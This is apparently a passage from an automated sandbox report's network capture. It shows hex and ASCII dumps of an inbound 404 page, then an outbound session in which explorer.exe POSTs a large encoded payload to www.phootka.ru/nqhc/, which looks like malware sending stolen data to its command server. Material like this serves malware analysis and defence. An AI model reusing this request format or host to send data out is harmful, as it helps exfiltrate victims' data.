61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Dec 5, 2022 15:17:40.790781021 CET	11960	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Dec 5, 2022 15:17:40.790858984 CET	11961	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Dec 5, 2022 15:17:40.790930033 CET	11963	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Dec 5, 2022 15:17:40.790987968 CET	11964	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Dec 5, 2022 15:17:40.791043043 CET	11965	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Dec 5, 2022 15:17:40.791138887 CET	11967	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Dec 5, 2022 15:17:40.791203022 CET	11968	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Dec 5, 2022 15:17:40.791290045 CET	11969	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Dec 5, 2022 15:17:40.791357040 CET	11971	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Dec 5, 2022 15:17:40.836297035 CET	11972	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.11.20	49891	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:42.806799889 CET	12005	OUT	POST /nqhc/ HTTP/1.1 Host: www.phootka.ru Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.phootka.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.phootka.ru/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 71 7a 73 4a 57 71 35 6b 67 56 6c 4e 75 55 39 7a 55 71 57 72 34 4d 51 66 33 33 46 69 79 35 32 59 5a 69 79 4f 42 75 70 61 78 67 75 67 68 56 4a 36 6e 5a 64 4e 62 37 76 47 7a 48 67 62 55 64 56 6b 78 55 4d 58 38 46 77 49 73 6a 79 54 6b 45 72 53 6f 72 71 37 34 38 79 39 37 62 64 38 35 6c 6e 64 49 5a 28 79 4f 75 53 54 37 76 7a 38 53 31 51 53 55 30 7a 63 54 5f 74 30 41 6e 42 74 69 6c 62 39 6e 53 62 38 39 57 76 78 34 30 55 36 4f 5a 50 35 4d 52 78 73 4f 4e 63 30 49 72 31 69 44 59 37 68 6b 6b 50 70 56 55 76 79 41 36 54 73 6e 6a 6d 72 4d 6b 44 4e 78 54 56 71 62 67 43 37 54 75 44 61 66 71 48 7a 78 31 73 53 41 72 51 56 43 73 53 36 36 67 53 4a 6d 62 76 63 62 34 32 51 38 35 53 69 44 77 4a 79 5a 30 69 53 79 75 6a 32 65 46 78 4d 56 41 50 5a 7a 49 44 6d 43 5a 45 4b 45 63 6b 4f 76 32 49 68 57 33 79 31 53 6d 45 77 54 30 72 4a 44 7a 37 7a 68 65 50 50 68 68 4d 49 30 48 4a 79 67 49 55 70 62 67 4c 58 6a 58 4b 33 42 45 6b 61 43 75 61 58 79 53 39 53 6c 58 45 50 28 4a 41 6a 43 5a 48 6b 34 48 73 32 66 42 7e 66 54 7a 78 59 7a 70 58 32 43 45 63 46 59 6d 35 47 71 6e 41 70 33 58 65 69 45 56 71 36 72 5f 4a 52 59 53 56 62 43 64 4a 71 77 76 59 55 39 70 5a 63 4f 62 57 55 43 33 51 6b 33 4d 6b 56 62 76 35 73 47 65 78 4a 42 38 52 61 56 76 79 50 46 5f 57 51 28 39 6f 77 49 35 4f 6e 6d 79 67 50 63 37 54 6c 44 45 79 4d 41 51 62 4d 46 61 75 76 74 6e 56 67 52 78 38 56 4a 64 6e 50 6d 55 38 6f 75 33 4e 51 69 67 37 6f 53 58 73 5f 69 77 39 68 6a 69 32 52 4d 79 6f 44 73 77 31 6c 7a 46 73 62 43 30 49 45 43 59 72 66 48 69 59 67 31 35 49 64 42 46 42 64 45 46 78 72 66 4e 50 35 65 71 7e 66 4c 61 43 6b 43 65 69 48 68 6d 37 44 38 6f 4d 73 49 34 4a 6a 7a 6a 42 71 67 5f 53 72 6e 48 7a 4a 52 6b 6f 63 5a 58 4b 4f 47 4c 73 73 30 51 44 4c 67 44 30 34 6b 65 6c 4d 7e 4c 6e 72 68 57 71 44 39 31 43 67 70 45 75 4e 65 70 78 76 56 71 59 46 62 44 32 59 43 6c 4a 4b 5a 68 71 56 66 46 39 51 46 45 53 39 46 4d 58 42 55 64 42 5a 6f 6a 47 4a 34 47 79 6e 54 5a 31 33 69 37 76 6d 59 6f 69 65 6b 4b 53 53 58 4d 41 52 37 32 39 2d 68 73 71 57 58 64 38 48 41 6b 33 77 57 5f 68 33 4a 4f 6e 70 47 5a 33 52 45 72 47 4c 57 55 72 64 74 5f 49 34 41 52 51 34 54 46 54 57 4f 31 32 34 33 4b 35 52 71 74 71 76 33 5f 46 78 71 56 59 46 33 39 64 6c 64 69 6a 65 54 70 39 79 66 37 4e 34 48 65 41 64 52 71 64 35 37 69 31 71 65 53 31 6f 33 37 4f 30 4d 58 58 77 62 58 56 5a 74 50 77 47 73 68 48 6f 66 6a 61 68 6e 79 59 4b 55 74 73 4f 6e 64 59 53 64 6e 43 70 64 72 57 66 4b 4d 70 34 6d 62 76 2d 61 4b 28 31 63 6f 46 39 59 7a 61 33 4e 46 4e 5a 72 69 44 38 6f 73 61 31 31 4e 33 30 6d 30 56 56 32 41 58 6e 4d 30 6e 32 79 72 4f 34 49 37 61 76 35 34 57 6f 56 5f 46 54 74 33 4f 35 6f 7a 44 7a 70 4b 66 35 59 6d 46 75 77 55 69 70 7e 6c 74 51 7e 2d 35 68 33 43 75 73 4b 6c 31 79 78 37 5a 77 31 31 4b 58 6e 4f 78 4d 30 77 49 59 76 53 54 62 39 45 54 76 47 72 52 6e 52 4e 61 76 46 31 68 71 35 4e 4f 78 78 49 37 62 74 4a 66 54 41 6a 6c 73 54 61 76 4d 79 72 35 41 43 33 71 68 55 51 75 4d 38 6e 74 34 61 6e 62 62 54 4a 7e 73 33 78 35 4d 61 66 62 7a 31 4f 72 55 64 4d 7e 53 38 57 62 52 54 48 59 46 4b 64 7e 69 6e 7a 66 5a 6b 37 4f 44 64 48 66 7a 39 32 69 45 39 61 73 4d 4a 51 79 44 44 57 68 4c 4e 75 42 33 79 6b 55 53 7e 66 79 4c 48 4a 5a 7a 55 61 31 43 45 36 32 79 4a 42 6f 54 64 7a 51 46 35 48 73 48 54 35 61 6c 4d 51 38 6b 41 62 47 78 44 32 34 56 47 6d 42 4c 4c 7a 78 70 37 71 54 52 42 6f 37 52 73 64 78 37 73 62 55 41 31 30 73 78 31 52 4b 78 53 78 52 6d 65 5a 4c 4a 51 47 66 79 55 56 52 70 38 6e 49 6f 50 35 6c 6b 47 6d 68 4c 56 68 65 48 4d 66 73 5a 50 70 71 76 75 74 52 56 32 4f 39 37 6a 58 4e 72 53 44 28 34 72 47 4c 6b 46 31 62 5a 6b 4e 4f 4e 61 44 69 69 5a 68 72 38 6a 6c 76 62 51 43 37 69 75 69 48 77 54 74 7e 56 52 69 59 55 37 7a 48 6f 63 44 33 2d 56 33 69 32 71 6f 50 46 57 68 54 59 41 6d 7e 72 4b 6e 56 53 45 6e 6a 4d 31 44 70 76 39 6b 57 6b 32 50 50 4c 65 41 67 35 62 4a 51 63 4e 6b 6f 46 48 2d 43 43 44 6b 78 4c 55 75 55 35 41 44 62 6e 37 51 42 4f 57 31 78 6c 34 42 4d 65 54 32 6c 6e 41 41 43 32 6f 4b 51 63 30 39 38 45 44 54 63 39 42 62 4e 4f 6b 41 63 32 48 70 7a 31 53 4a 46 76 71 33 77 5a 61 48 75 52 58 47 72 63 45 6a 74 4c 6a 71 64 58 35 Data Ascii: 7nWHV=qzsJWq5kgVlNuU9zUqWr4MQf33Fiy52YZiyOBupaxgughVJ6nZdNb7vGzHgbUdVkxUMX8FwIsjyTkErSorq748y97bd85lndIZ(yOuST7vz8S1QSU0zcT_t0AnBtilb9nSb89Wvx40U6OZP5MRxsONc0Ir1iDY7hkkPpVUvyA6TsnjmrMkDNxTVqbgC7TuDafqHzx1sSArQVCsS66gSJmbvcb42Q85SiDwJyZ0iSyuj2eFxMVAPZzIDmCZEKEckOv2IhW3y1SmEwT0rJDz7zhePPhhMI0HJygIUpbgLXjXK3BEkaCuaXyS9SlXEP(JAjCZHk4Hs2fB~fTzxYzpX2CEcFYm5GqnAp3XeiEVq6r_JRYSVbCdJqwvYU9pZcObWUC3Qk3MkVbv5sGexJB8RaVvyPF_WQ(9owI5OnmygPc7TlDEyMAQbMFauvtnVgRx8VJdnPmU8ou3NQig7oSXs_iw9hji2RMyoDsw1lzFsbC0IECYrfHiYg15IdBFBdEFxrfNP5eq~fLaCkCeiHhm7D8oMsI4JjzjBqg_SrnHzJRkocZXKOGLss0QDLgD04kelM~LnrhWqD91CgpEuNepxvVqYFbD2YClJKZhqVfF9QFES9FMXBUdBZojGJ4GynTZ13i7vmYoiekKSSXMAR729-hsqWXd8HAk3wW_h3JOnpGZ3RErGLWUrdt_I4ARQ4TFTWO1243K5Rqtqv3_FxqVYF39dldijeTp9yf7N4HeAdRqd57i1qeS1o37O0MXXwbXVZtPwGshHofjahnyYKUtsOndYSdnCpdrWfKMp4mbv-aK(1coF9Yza3NFNZriD8osa11N30m0VV2AXnM0n2yrO4I7av54WoV_FTt3O5ozDzpKf5YmFuwUip~ltQ~-5h3CusKl1yx7Zw11KXnOxM0wIYvSTb9ETvGrRnRNavF1hq5NOxxI7btJfTAjlsTavMyr5AC3qhUQuM8nt4anbbTJ~s3x5Mafbz1OrUdM~S8WbRTHYFKd~inzfZk7ODdHfz92iE9asMJQyDDWhLNuB3ykUS~fyLHJZzUa1CE62yJBoTdzQF5HsHT5alMQ8kAbGxD24VGmBLLzxp7qTRBo7Rsdx7sbUA10sx1RKxSxRmeZLJQGfyUVRp8nIoP5lkGmhLVheHMfsZPpqvutRV2O97jXNrSD(4rGLkF1bZkNONaDiiZhr8jlvbQC7iuiHwTt~VRiYU7zHocD3-V3i2qoPFWhTYAm~rKnVSEnjM1Dpv9kWk2PPLeAg5bJQcNkoFH-CCDkxLUuU5ADbn7QBOW1xl4BMeT2lnAAC2oKQc098EDTc9BbNOkAc2Hpz1SJFvq3wZaHuRXGrcEjtLjqdX5A(Dm1RxiWDliVAFs_Mb1AmyNRflgp1T4Pv9bQ8xtyXvWqbOOu5j4V3FEPu61Z6ALC0OkhdgC8Re8CvtZSfI8VQ7Rem3y5aKyG2IYuoMn-L0x9zQlq2BJQAoLlGmfGDtFgZH7o226XqIMzSTQU52M_MBAZ1XDM6JX7ZiZhC3MV2uxFVByoxyd9of6gnG8eEU~jDdvszaCjCZo0VSVwwjdKIO3T(jDcTErcshGNbVjUAmJHMWv6dd4ORhlRuuoN1eLPlc(WGoeeIfxqN9HNFEqOU5oT00e48s01N47WKVg8gjlHIkxEV4Fj1PKoqA2zIAIHDZbE0LTumwcW73ytPn3De-HrJ1JBU3rsygqzlt1n8vcAp3dPAy1TpouAXptWx2Mu2SOhrg~9mwQyG9Ba2EzKWpkBVWiEvGreVG8u7_YV6KBgq3NTf13eikNMVZc7qWDvM-3V091K(CScjlL51AqsxmjTZ2ylX5gW6ERL6dLjJKDPtjgLdHHxw0DJ44k3goeNk8hc~AHRWUXhmpkPY3ooKTVrl6KwUyG9FWiKXAVl5r~ou3lSUiYsmc(LR5GXyQVOJPbXv0NX5AyNWqDjfjsu(h(iuV62oZ4bVUYuBqZlMV~1reg04Q82cvAU~XY6op04IofonFe9jB4VLomxQDkhZhriUoAkt2RfvmThPYCLfh7RpAHxfn06pVHo6bGGtuH7eDCHkQSv13r99BYR7vS0wMjmKx6bsyb2VDYoYDcB0Z8TuzinyJmBzG8W~vZQRk7mTuWsLXSeIoiibnF3lpGuwzt2Qgc1cWs98aLohCjZD0O7fw(ehFlSVG9EKqoKhrEo6wiCA_gF3xlS5lB0rDc5S-ffnb2zGG(6GdcVjRiy8Y44o1FceLz7l5nBkhrBhC(tZyImgi7P(zEAMh6pJgYJ8ufv1kz7wJ(GMtpQuP0nGL9mbAph7ZSHIpCg7aTQ(MeXD61ke5kZRiQ8yeygUfsr0Oeo8rBn5pRN30UX84fJwEi5MpF2sIh70-zt4EKR66YDB7gQl-Rd2ZMeQamY5KEOLcmkpdrjO1eit7N7y2t0Z8o6Zzf_pI9YwIlkGnmDoA6ei88dYDlEQv9sCtrLim1OznZDLaOP5If74FESfSvNqu2gX7OH3G1MMkeNFHQ2pHzPG44eW2GnwfhtUngR9EnJJNtM(QTq80KOg7nxT828ymEo7LGFxDMzitqefDA-ovr-CFu23f1GWzUmJob4pHP2vyYYnz0TDBJY6vbi2SjCMNhj7z3IJsGZBXvOha3geDgSSLVk08QYl2402w9jx5(NbD5Vy08ztVgp~L0ztBZl4MdcOGxsISfbDblpFH9hcA(NOyC65GcYSnCjaaqjP3ubxhUt~FiHxNlB~X4OkcrAR5rFzUMluKm30_fGzgE0x4yi7ldG~v1LZvlwtBKS3acZSMKrora1UGv4FE~RU668sNrNimo53G31sXeUxyd4Y_NYteHuaA0GxXP39mHkOx5x7gpsznfr0LCqHmfmrNKYKM4h9rhK6HN95LR1fp1Dn9IA3Vz76fq0pavPG4sWSYhsrejt3b1OeweaUEKVgeJrK96UoTbF03RIq1wnxJEC3RXfYE3fLr8o4h3dIS0T2QXVwRmnbcYBbfN1qaJxNhz4fPrnsam38OQomI40vteHegLpokx33yllWKLk4QVnnn6tJXbLKMm07JedwVUHVbqzurQ3LVhpL5TgSzKJXU8_xEj523~bqli4denbQZP18hulLqsYzkUF4htLzLp8r-S_yJYmUCRJUf6HAO0lD8st~RIJ8NyE420YMjA4J8~Qry~kDMJJ5qkMgzVsVQqXgxohw0w8puMOWsVqqm6ZxtIsghdCJ93cFNrB0PsiDYuFR2Ohz04_xUpA30McS0zSXZO7mk5oqeU9QzOABQODPILzcRlUrSPlon5kshoSEobb(yU2wUAyswTPrUkFNhf8T-IaLRBiDVP8z2ESivzSQFbgEBPjVe0eiCBsz90bNEYOZIDguFm8LoelYV7MPdy7wP189lmnMESTemIwc0RQ37K91dv9pkeiT9ID0URxEcNPWpfPeu77AeQbJw7zmTakoZ8AgKe3h4HYisTlCYcPOuuzfE2jeJIdTyMAw1g-2m30ysKmhgoa71w4m8wxIe8yLCr7xolBHm6HkudXQ6olPCc9z43h3xfOqf(ieJBO5u~-0Tq9QK3dFt~dy4grV-reYn~oswlrS_6W4EQHQSfKnRbpZuvGnkBL36ahQWTt~QRdCjmikwmLjfvIYG7LDqRRhmyrddmafcaqS6UlrD44rmPYtTrcA-d7KfQ42O0Dplf-VwPRZRGcmGky2wxGtjuHNbP7BU58AfzGB2hYQGtY8127Qh871X63g7fvajFmYf2uC0CvYmyQZ8lgXN3gPDr5Xt0JZRXdR7OBlInnXDFj19lStoWJDNChE9e7yz7uB4MNXCChmUu2ufxt0cB1991b5MPc6s1YiDT-gMT119R2WcIVA_1paWgyIsfQjN1XYLWLxdUD5n3U9FNFA7mZiqADM8zYrl(hIdw3kPze4S01omIxF2FTP5Gqlg4R~N6L~H82WUX3d1c8NL1_5a7gUC5zT7JKMFXz(PpBOC(Di546YPo5cNCzn9SautHmnKO1z6ErauLxmjYSffQnuxc5CwjP1Ky6SzAmayFO81(uU3aXMqNW~xrfHUfyb6169MHQ7vNBhAJatLnA13hAsUHVrX
Dec 5, 2022 15:17:42.806889057 CET	12011	OUT	Data Raw: 6a 73 57 70 56 61 41 53 76 51 6e 39 70 5f 61 32 57 35 4a 64 72 34 43 43 4f 67 51 74 28 71 65 5a 7a 38 76 58 7e 5a 70 6c 32 6d 78 44 57 34 33 4b 64 31 65 66 32 4b 65 47 55 51 28 78 28 32 72 54 74 50 51 39 6c 2d 53 65 66 33 5a 79 32 53 68 56 54 56 Data Ascii: jsWpVaASvQn9p_a2W5Jdr4CCOgQt(qeZz8vX~Zpl2mxDW43Kd1ef2KeGUQ(x(2rTtPQ9l-Sef3Zy2ShVTVIzG0w4ed4mLBoLzyNcusMTfrTOX7ghcUFDOsXD3tvU(LutEmvYHIZhkMckwQ4Ft-U8IZ5ZxBVBfez2ViIwshThGQYQCPT1Ij~V3g9Z5fjktlUCBayuSY2dHrFC0y6AfcgO(L8mQ40Isl0Qo7o78l5DXbzEFyRHqG3
Dec 5, 2022 15:17:42.852701902 CET	12014	OUT	Data Raw: 6d 79 64 36 5a 39 45 6c 28 62 6f 2d 76 46 4e 4d 6b 44 46 37 78 4e 72 73 4a 32 48 68 4c 5a 79 39 64 71 62 48 64 39 6a 7a 37 50 31 36 78 71 4e 43 48 53 55 5a 67 59 48 56 64 43 6a 50 50 6f 52 79 6d 66 69 71 46 75 62 50 7e 39 38 30 77 78 48 4c 77 2d Data Ascii: myd6Z9El(bo-vFNMkDF7xNrsJ2HhLZy9dqbHd9jz7P16xqNCHSUZgYHVdCjPPoRymfiqFubP~980wxHLw-eAwk~7xnWZaSSnvSWrbCPt(PLBTHXDWmBu~0nwNFvJ2yxUdGx8p13OjCkd0AEdkY5C(AKYDKQ291jvmHabCRbt3Fdlneoq(ylV9e~HTa~c6UrZwR1ZS3GBpS9sv6PG8z6b4yJussYl6KSBJAyIqNSsWDYVcbu7Bpt
Dec 5, 2022 15:17:42.852823973 CET	12019	OUT	Data Raw: 36 65 32 44 28 48 67 6a 57 41 5a 32 38 77 4c 75 63 6e 61 46 79 6d 67 7a 73 68 64 53 41 6e 28 2d 64 77 41 33 48 34 49 51 67 31 6d 6c 4e 78 4c 4d 38 65 6a 4d 67 47 74 6a 47 5a 28 72 75 74 51 78 47 79 6e 39 7e 71 28 73 54 31 71 4d 78 69 52 6c 79 34 Data Ascii: 6e2D(HgjWAZ28wLucnaFymgzshdSAn(-dwA3H4IQg1mlNxLM8ejMgGtjGZ(rutQxGyn9~q(sT1qMxiRly4S9932exRn-osbTXeQQhnxkVGR46M2WfU2TkVPEx_bhJ1UQG9ngE3e1Qjg-AvQ4p-BTXk1JT9(AIIBn75IT3UgptmccWCu7qnt6xspo~Jrql5796ozrNXur4Qz34-4H9ytTIJGWFfFyHxMTS_dlKOaRKTHjcmFiXKj
Dec 5, 2022 15:17:42.853034973 CET	12020	OUT	Data Raw: 4b 5f 6d 54 64 76 52 44 68 73 39 67 70 45 33 53 75 57 37 59 63 36 58 36 31 65 6a 48 5a 67 38 62 4c 51 7e 47 52 71 37 44 32 66 6c 6b 6b 69 46 34 6c 71 63 41 6e 57 7a 43 37 55 50 6d 4e 78 59 44 42 46 4c 4c 6d 72 39 39 58 6a 30 34 69 7a 4b 70 42 4c Data Ascii: K_mTdvRDhs9gpE3SuW7Yc6X61ejHZg8bLQ~GRq7D2flkkiF4lqcAnWzC7UPmNxYDBFLLmr99Xj04izKpBLsaUvf3eySjA2Q3F8YneeCF5ayb(Eh04KMjmdKdW5lEY4Mpac3HGRAIjMId2GQ3wZO-lDwPbDzDO0KyWXlNKqROPzo_(CD4FNztr4QmCtxTUctAezpLnWfRPbiKsqmBf92ZIbqibd0H32oP3DQIFKJsceuDaAVMxje
Dec 5, 2022 15:17:42.853209019 CET	12029	OUT	Data Raw: 6d 4e 47 73 58 68 41 41 51 53 68 51 68 76 71 67 4a 58 45 59 6e 31 4e 33 6a 4d 64 5f 4d 4a 63 48 65 75 47 77 42 44 6d 5a 56 33 33 73 4f 4e 54 6b 6c 5f 66 58 6b 51 70 58 5a 67 37 52 52 39 4e 33 42 68 59 62 6e 59 74 59 30 39 68 54 28 47 47 51 42 79 Data Ascii: mNGsXhAAQShQhvqgJXEYn1N3jMd_MJcHeuGwBDmZV33sONTkl_fXkQpXZg7RR9N3BhYbnYtY09hT(GGQByBVK7TWFMuPJN54GxY9vvs8oKkWQ6zEYk6NU8Bibd1W2VatWt97Gxd6DN1XfDl19zxh3Uo9J0(aD9Xb(Fdsrrs_Bte07OmNsEasq9EcYvyMnA(AoiSZzHb0W5(9vdP0qQGKk_tEyiFotpnS(GvN1QpNpevsXXUKNF6
